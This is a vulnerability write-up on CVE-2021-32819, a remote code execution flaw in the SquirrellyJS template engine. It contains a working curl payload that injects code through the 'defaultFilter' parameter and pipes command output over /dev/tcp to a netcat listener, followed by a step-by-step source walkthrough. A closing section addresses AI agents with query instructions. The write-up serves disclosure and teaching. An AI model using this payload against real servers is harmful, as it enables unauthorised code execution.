# GHSL-2021-023 / CVE-2021-32819

## INTRODUCTION

### **SQUIRRELLY**

Squirrelly [**\[1\]**](https://squirrelly.js.org/) is a template engine written in JavaScript.

### DOWNLOAD STATISTICS

According to NPM-STAT [**\[2\]**](https://npm-stat.com/charts.html?package=squirrelly\&from=2020-05-05\&to=2021-06-11), the total number of downloads between 2020-05-16 and 2021-06-11: **317,730**

### ISSUE

#### **EXPRESS RENDER API**

The Express render API [**\[3\]**](https://expressjs.com/en/api.html#res.render) was designed to only pass in template data. By allowing template engine configuration options to be passed through the Express render API directly, downstream users of an Express template engine may inadvertently introduce insecure behavior into their applications with impacts ranging from Cross-Site Scripting (XSS) to Remote Code Execution (RCE).&#x20;

#### SQUIRRELLY

SquirrellyJS mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options, remote code execution may be triggered in downstream applications. [**\[4\]**](https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/#details)

**IMPACT**

This vulnerability leads to remote code execution (RCE). [**\[4\]**](https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/#impact)

**VULNERABLE VERSIONS**

SquirrellyJS is vulnerable from version v8.0.0 to v8.0.8.

### **PATCH**

No available fix for SquirrellyJS currently. [**\[4\]**](https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/#coordinated-disclosure-timeline)

* 01/25/2021: Report sent to maintainers by GHSL
* 04/25/2021: Deadline expired
* 05/14/2021: Publication as per our disclosure policy [**\[5\]**](https://securitylab.github.com/advisories/#policy)

## REPRODUCIBILITY

### **ENVIRONMENT SETUP**

Install NodeJS run-time environment, Node Package Manager (NPM), ExpressJS, and SquirellyJS.

```bash
sudo apt update
sudo apt install nodejs npm
mkdir GHSL-2021-023 && cd GHSL-2021-023
npm install express
npm install squirrelly
```

GHSL-2021-023/app.js - vulnerable server code.

```javascript
const express = require('express')
const app = express()
const port = 3000
 
app.set('views', __dirname);
app.set('view engine', 'squirrelly')
app.use(express.urlencoded({ extended: false }));
app.get('/', (req, res) => {
   res.render('index.squirrelly', req.query)
})
 
app.listen(port, () => {})
module.exports = app;
```

GHSL-2021-023/index.squirrelly - template.

```markup
<!DOCTYPE html>
<html>
    <head>
        <title>GHSL-2021-023</title>
    </head>
<body>
    <h1>{{it.variable}}</h1>
</body>
</html>
```

Start the vulnerable application server.

```bash
node app.js
```

### PROOF OF CONCEPT

Start a Netcat listener on port 443.

```
nc -lnvp 443
```

Send the crafted payload via curl.

```bash
curl -G \
--data-urlencode "defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('/bin/bash -c \'/bin/id > /dev/tcp/127.0.0.1/443\''); //" \
http://localhost:3000/
```

When the payload is triggered via curl, the vulnerable server executes our malicious code. The code executes `/bin/id` command on the server and sends the output to the Netcat listener. The output is on the top of the TMUX window.

![Proof of concept](https://3314490488-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MbvhwyfSiuEoRfDEQp1%2F-MbwGEJZcrmUJjqTz1jC%2F-MbwHZhkHmO3_9-7SkOz%2FProof%20of%20Concept.png?alt=media\&token=a5da0f0a-87ff-4548-9f51-0ba4401fc9f7)

## ANALYSIS

Send a request to start the analysis.

```bash
curl -G \
--data-urlencode "variable=HelloWorld" \
http://localhost:3000/
```

The ExpressJS calls **renderFile** function from the SquirrellyJS engine after the request has been made [(view.js line 135)](https://github.com/expressjs/express/blob/master/lib/view.js#L135).

```javascript
View.prototype.render = function render(options, callback) {
  debug('render "%s"', this.path);
  this.engine(this.path, options, callback);
};
```

**this.engine** variable is the **renderFile** function.

### renderFile(filename, data, cb)

definition [(file-handlers.ts line 113)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/file-handlers.ts#L113).

```javascript
function renderFile(filename, data, cb) {
  data = data || {};
  var Config = getConfig(data);
  ...
  return tryHandleCache(Config, data, cb);
}
```

#### Parameters

* **filename** is the template path.

```
"GHSL-2021-023/index.squirrelly"
```

* **data** is the template data that contains the request query.

```javascript
{
  settings: {
      ...,
  },
  variable: "HelloWorld",
  _locals: {},
  cache: false,
}
```

* **cb** is a callback function that is defined in another scope.

**renderFile** function calls **getConfig** function (line 3).

### getConfig(override, baseConfig)

definition [(config.ts line 101)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/config.ts#L101).&#x20;

```javascript
function getConfig (override: PartialConfig, baseConfig?: SqrlConfig): SqrlConfig {

  var res: PartialConfig = {}
  copyProps(res, defaultConfig)

  if (baseConfig) {
    copyProps(res, baseConfig)
  }

  if (override) {
    copyProps(res, override)
  }

  ;(res as SqrlConfig).l.bind(res)

  return res as SqrlConfig
}
```

**override** parameter is the template data that contains the request query.

```javascript
{
  settings: {
      ...,
  },
  variable: "HelloWorld",
  _locals: {},
  cache: false,
}
```

**baseConfig** parameter is **undefined**.

**getConfig** function defines **res** variable as an empty object (line 3), then copies global **defaultConfig** properties to **res** properties (line 4), after that skips **baseConfig** condition because it's **undefined** (line 6) then copies **override** properties to **res** properties (line 11), finally returns **res** variable (line 16) to **Config** variable in **renderFile** function scope (line 3).

**Config** variable is:

```javascript
{
    varName: 'it', 
    ..., 
    autoEscape: true, 
    defaultFilter: false, 
    ..., 
    settings: {...},
    variable: 'HelloWorld', 
    ... 
}
```

**Notice**

Since request queries are copied to **Config** object, which is the set of compilation options, that means the sender can overwrite **Config** properties values.

After **getConfig** function returns **res** variable to **Config** variable, **renderFile** function calls **tryHandleCache** function (line 5).

### tryHandleCache(options, data, cb)

definition [(file-handlers.ts line 69)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/file-handlers.ts#L69).&#x20;

```javascript
/**
 * Try calling handleCache with the given options and data and call the
 * callback with the result. If an error occurs, call the callback with
 * the error. Used by renderFile().
 *
 * @param {Options} options    compilation options
 * @param {Object} data        template data
 * @param {RenderFileCallback} cb callback
 * @static
 */

function tryHandleCache (options: FileOptions, data: object, cb: CallbackFn) {
  var result
  if (!cb) {
    ...
  } else {
    try {
      handleCache(options)(data, options, cb)
    } catch (err) {
      return cb(err)
    }
  }
}
```

#### **Parameters**

* **options** is the set of compilation options.

```javascript
{
  varName: "it",
  ...,
  autoEscape: true,
  defaultFilter: false,
  tags: ["{{", "}}"],
  ...,
  variable: "HelloWorld",
  _locals: {},
  ...
}
```

* **data** is the template data that contains the request query.

```javascript
{
  settings: { ... },
  variable: "HelloWorld",
  _locals: {},
  cache: false,
}
```

* **cb** is a callback function that is defined in another scope.

**tryHandleCache** function skips the condition (line 14) because the **cb** variable is defined as a callback function. **tryHandleCache** function calls **handleCache** function (line 18).

### handleCache(options)

definition [(file-handlers.ts line 43)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/file-handlers.ts#L43).

```java
/**
 * Get the template from a string or a file, either compiled on-the-fly or
 * read from cache (if enabled), and cache the template if needed.
 *
 * If `options.cache` is true, this function reads the file from
 * `options.filename` so it must be set prior to calling this function.
 *
 * @param {Options} options   compilation options
 * @param {String} [template] template source
 * @return {(TemplateFunction|ClientFunction)}
 * Depending on the value of `options.client`, either type might be returned.
 * @static
 */

function handleCache (options: FileOptions): TemplateFunction {
  var filename = options.filename
  ...
  return compile(readFile(filename), options)
}
```

**options** parameter is the set of compilation options.

```javascript
{
  varName: "it",
  autoTrim: [
    false,
    "nl",
  ],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: {
  },
  ...
}
```

**handleCache** function gets the template **(index.squirrelly)** content from a file, then **handleCache** function calls **compile** function (line 18).

### compile(str, env)

definition [(compile.ts line 14)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/compile.ts#L14).

```javascript
export default function compile (str: string, env?: PartialConfig): TemplateFunction {
  var options: SqrlConfig = getConfig(env || {})
  var ctor = Function // constructor

  ...
  
  try {
    return new ctor(
      options.varName,
      'c', // SqrlConfig
      'cb', // optional callback
      compileToString(str, options)
    ) as TemplateFunction // eslint-disable-line no-new-func
  } catch (e) {
    if (e instanceof SyntaxError) {
      throw SqrlErr(
        'Bad template syntax\n\n' +
          e.message +
          '\n' +
          Array(e.message.length + 1).join('=') +
          '\n' +
          compileToString(str, options)
      )
    } else {
      throw e
    }
  }
}
```

**Parameters**

* **str** is the content of the template (**index.squirrelly**)

```markup
"<!DOCTYPE html>\n<html>\n    <head>\n        <title>GHSL-2021-023</title>\n    </head>\n<body>\n    <h1>{{it.variable}}</h1>\n</body>\n</html>"
```

* **env** is the set of compilation options.

```javascript
{
  varName: "it",
  autoTrim: [
    false,
    "nl",
  ],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: {
  },
  ...
}
```

**compile** function defines **options** as **env (**&#x6C;ine 2). then creates an alias of [**Function** constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function) called **ctor** at (line 3). finally returns a **new ctor** (**Function**) (line 8) to (line 13).

**ctor** parameters

**options.varName** is:

```
"it"
```

**it** is the template data that contains the request query.

**c** is the set of compilation options.

**cb** is a callback function defined in another scope.

**compileToString** function returns the **ctor** **Function** body (line 22).

### compileToString(str, env)

definition [(compile-string.ts line 12)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/compile-string.ts#L12).

```javascript
export default function compileToString (str: string, env: SqrlConfig) {
  var buffer: Array<AstObject> = Parse(str, env)
  var res =
    "var tR='';" +
    (env.useWith ? 'with(' + env.varName + '||{}){' : '') +
    compileScope(buffer, env) +
    'if(cb){cb(null,tR)} return tR' +
    (env.useWith ? '}' : '');
  ...
  return res
}
```

**Parameters**

* **str** is the content of the template file (**index.squirrelly**).

```markup
"<!DOCTYPE html>\n<html>\n    <head>\n        <title>GHSL-2021-023</title>\n    </head>\n<body>\n    <h1>{{it.variable}}</h1>\n</body>\n</html>"
```

* **env** is the set of compilation options.

```javascript
{
  varName: "it",
  autoTrim: [
    false,
    "nl"],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: {},
  ...
}
```

**compileToString** function defines **buffer** and calls **parse** function (line 2) to prase the template content and its variables

```javascript
[
  "<!DOCTYPE html>\\n<html>\\n    <head>\\n        <title>GHSL-2021-023</title>\\n    </head>\\n<body>\\n    <h1>",
  {
    f: [
    ],
    c: "it.variable",
    t: "i",
  },
  "</h1>\\n</body>\\n</html>",
]
```

**compileToString** function defines **res** variable for the **ctor** function body (line 3)

```javascript
  var res =
    "var tR='';" +
    (env.useWith ? 'with(' + env.varName + '||{}){' : '') +
    compileScope(buffer, env) +
    'if(cb){cb(null,tR)} return tR' +
    (env.useWith ? '}' : '');
```

**useWith** is **false**

```javascript
 var res = "var tR='';" + compileScope(buffer, env) + 'if(cb){cb(null,tR)} return tR'
```

**compileToString** function calls **compileScope** function to append its return value to **res** variable.

### **compileScope**(buff, env)

definition [(compile-string.ts line 101)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/compile-string.ts#L101).

```javascript
export function compileScope (buff: Array<AstObject>, env: SqrlConfig) {
  var i = 0
  var buffLength = buff.length
  var returnStr = ''

  for (i; i < buffLength; i++) {
    var currentBlock = buff[i]
    if (typeof currentBlock === 'string') {
      var str = currentBlock
      returnStr += "tR+='" + str + "';"
    } else {
      var type: ParsedTagType = currentBlock.t as ParsedTagType // h, s, e, i
      var content = currentBlock.c || ''
      var filters = currentBlock.f
      var name = currentBlock.n || ''
      var params = currentBlock.p || ''
      var res = currentBlock.res || ''
      var blocks = currentBlock.b
      var isAsync = !!currentBlock.a
      if (type === 'i') {
        if (env.defaultFilter) {
          content = "c.l('F','" + env.defaultFilter + "')(" + content + ')'
        }
        var filtered = filter(content, filters)
        if (!currentBlock.raw && env.autoEscape) {
          filtered = "c.l('F','e')(" + filtered + ')'
        }
        returnStr += 'tR+=' + filtered + ';'
      } else if (type === 'h') {
        ...
      } else if (type === 's') {
        ...
      } else if (type === 'e') {
        ...
      }
    }
  }

  return returnStr
}
```

**Parameters**

* **buff** is an array that contains a parsed template content.

```javascript
[
  "<!DOCTYPE html>\\n<html>\\n    <head>\\n        <title>GHSL-2021-023</title>\\n    </head>\\n<body>\\n    <h1>",
  {
    f: [],
    c: "it.variable",
    t: "i",
  },
  "</h1>\\n</body>\\n</html>",
]
```

* **env** is the set of compilation options.

```javascript
{
  varName: "it",
  autoTrim: [false, "nl"],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: { },
  ...
}
```

The **for loop** iterates through all elements in the **buff** **array** (line 6)**.** If the element is a string (line 8), it adds the string to **returnStr** variable. If it's not a string, it executes the **else** block (line 11)**.**

The first and the last element is a strings **buff\[0], buff\[2],** where **buff\[1]** is an object

```javascript
  {
    f: [],
    c: "it.variable",
    t: "i",
  }
```

The **type** variable is currentBlock.t (line 12) where t is equal to `"i"` (line 20)**.**

**compileScope** function checks if **env.defaultFilter** is defined or **true** (line 21).

In case **env.defaultFilter** is **defined** or **true**, the **env.defaultFilter** value is going to be appended to the **content** variable where the **content** variable is going to be presented in the **function** body, but for now, the **env.defaultFilter** is **false**. After that, the **filter** function returns the **content** to the **filtered** variable (line 17).

if the condition (line 25) is **true**

```javascript
!currentBlock.raw is true 
autoEscape is true
```

More code is appended to **filtered** (line 26).

**compileScope** function returns **returnStr** (line 39)**,** which is a part of the function body

```javascript
tR+='<!DOCTYPE html>\\n<html>\\n    <head>\\n        <title>GHSL-2021-023</title>\\n    </head>\\n<body>\\n    <h1>';
tR+=c.l('F','e')(it.variable);
tR+='</h1>\\n</body>\\n</html>';
```

**res** variable in **compileToString** function scope is

```javascript
 var res = "var tR='';" + "tR+='<!DOCTYPE html>\\n<html>\\n    <head>\\n        <title>GHSL-2021-023</title>\\n    </head>\\n<body>\\n    <h1>';tR+=c.l('F','e')(it.variable);tR+='</h1>\\n</body>\\n</html>';" + 'if(cb){cb(null,tR)} return tR'
```

The **anonymous function** that is going to be executed

```javascript
(function anonymous(it,c,cb
) {
    var tR='';
    tR+='<!DOCTYPE html>\n<html>\n    <head>\n        <title>GHSL-2021-023</title>\n    </head>\n<body>\n    <h1>';
    tR+=c.l('F','e')(it.variable);
    tR+='</h1>\n</body>\n</html>';
    if(cb){cb(null,tR)}
    return tR
})
```

## THE VULNERABILITY

From the analysis, the attacker can control **defaultFilter** property in the **defaultConfig** by the request query. The **getConfig** function overwrites the **defaultConfig** properties with the **override** properties where the attacker input is represented.

**The** [**GHSL-2021-023**](https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/) **report, authored by** [**Agustin Gianni**](https://github.com/agustingianni)**, exploited the vulnerability using both defaultFilter and autoEscape, but our exploit uses defaultFilter only. There's no need to change or modify the autoEscape property to gain Remote Code Execution.**

### **EXPLOITING THE VULNERABILITY**

In order to exploit the vulnerability, you need to meet these conditions:

1. The condition (line 21) in **compileScope** function must be true to append the **defaultFilter** to the **content**.
2. The appended code syntax must be correct to get code execution.

```bash
curl -G \
--data-urlencode "defaultFilter=e')); console.log('Remote Code Execution') //" \
http://localhost:3000/
```

The **defaultFilter** should be `e')); console.log('Remote Code Execution') //` to gain code execution.

#### Walkthrough

For the first condition is true only if the **defaultFilter** is not **false** or not **undefined**&#x20;

The function body

```javascript
tR+=c.l('F','e')(c.l('F','<defaultFilter>') ...)
```

The code injection starts at the second parameter **(name)** of the **l** function

**l(container, name)** definition [(config.ts line 62)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/config.ts#L62)

**name** parameter is the filter name&#x20;

1\. **defaultFilter=e**

Filters are defined in [(container.ts line 173)](https://github.com/squirrellyjs/squirrelly/blob/72d61256c05819ea4bc7c2b56610845ac8ba4f9b/src/containers.ts#L173); There's only one filter `e` which the payload must starts with.

```javascript
tR+=c.l('F','e')(c.l('F','e') ...)
```

&#x20;2\. **defaultFilter=e'));**

Add a single quote, close the function, close the expression, add a semi-colon to fix the syntax to add a code.

```javascript
tR+=c.l('F','e')(c.l('F','e'));') ...)
```

3\. **defaultFilter=e')); console.log('Remote Code Execution')**

Add the code that you need to be execute&#x64;**,** for example, output a string to the server console.

```javascript
tR+=c.l('F','e')(c.l('F','e')); console.log('Remote Code Execution')') ...)
```

4\. **defaultFilter=e')); console.log('Remote Code Execution') //**

Add a **single-line comment** to remove the next portion that comes after your injected code.

```javascript
tR+=c.l('F','e')(c.l('F','e')); console.log('Remote Code Execution') //') ...)
```

{% embed url="<https://github.com/Abady0x1/CVE-2021-32819>" %}
CVE-2021-32819
{% endembed %}

## REFERENCES

1. [https://squirrelly.js.org](https://squirrelly.js.org/)
2. <https://npm-stat.com/charts.html?package=squirrelly&from=2020-05-05&to=2021-06-11>
3. <https://expressjs.com/en/api.html#res.render>
4. <https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/>
5. <https://securitylab.github.com/advisories/#policy>
6. <http://expressjs.com/en/guide/using-template-engines.html>
7. <http://expressjs.com/en/advanced/developing-template-engines.html>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.diefunction.io/vulnerabilities/ghsl-2021-023.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
